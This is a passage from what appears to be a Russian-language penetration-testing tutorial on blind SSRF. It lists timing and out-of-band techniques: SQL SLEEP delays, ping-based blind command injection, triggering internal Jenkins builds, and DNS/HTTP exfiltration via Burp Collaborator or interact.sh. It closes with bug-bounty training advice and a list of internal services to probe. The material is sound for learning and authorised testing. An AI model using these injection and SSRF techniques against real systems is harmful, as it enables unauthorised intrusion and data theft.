SLEEP(5)при верном условии. - Blind OS Command Injection: Команда
ping -c 10 127.0.0.1создает задержку. - RCE через цепочки внутренних сервисов: Обнаружив через слепую
SSRF Jenkinsна8080, можно попробовать слепо отправить туда запрос на сборку, а время ответа укажет на успех. - Out-of-Band (OAST) техники: Это логическое развитие. Если время - канал, то почему бы не использовать DNS, HTTP или даже ICMP-трафик на твой сервер как канал? Это уже не просто задержка, а полноценная эксфильтрация данных. Инструменты вроде
Burp Collaboratorилиinteract.shпостроены на этой идее.
Финальный инструктаж, по-нашему:
- Собери свой арсенал. Модифицируй приведенный скрипт. Добавь в него графики (библиотека
matplotlib), чтобы визуально видеть кластеры. Добавь поддержку разных протоколов (не только HTTP в параметре, но и возможность инъекции в заголовкиHost,X-Forwarded-For). - Создай или найди среду для тренировок. Docker-композ с уязвимым приложением, внутренним Redis, и заблокированным, но существующим мета-сервисом. OWASP Juice Shop, DVWA с модификациями - подойдет все.
- Читай отчеты. На
HackerOne,Bugcrowdищется blind ssrf. Смотри, как другие находят эти едва заметные аномалии. Учись формулировать доказательства. Потому что слепую SSRF еще нужно убедительно продать заказчику, показав статистику, а не просто скриншот. - Думай об архитектуре. Когда смотришь на приложение, мысленно рисуй карту: что может быть за фасадом? Балансировщики, кеши, базы данных, очереди сообщений, сервисы мониторинга (
Prometheus на 9090), системы оркестрации. Каждый из них - потенциальная цель для слепого зондирования.
Код - это закон, который ты изучаешь, чтобы найти в нем исключения.
Сеть - это поле боя, где главное преимущество - не огневая мощь, а превосходство в наблюдении и анализе.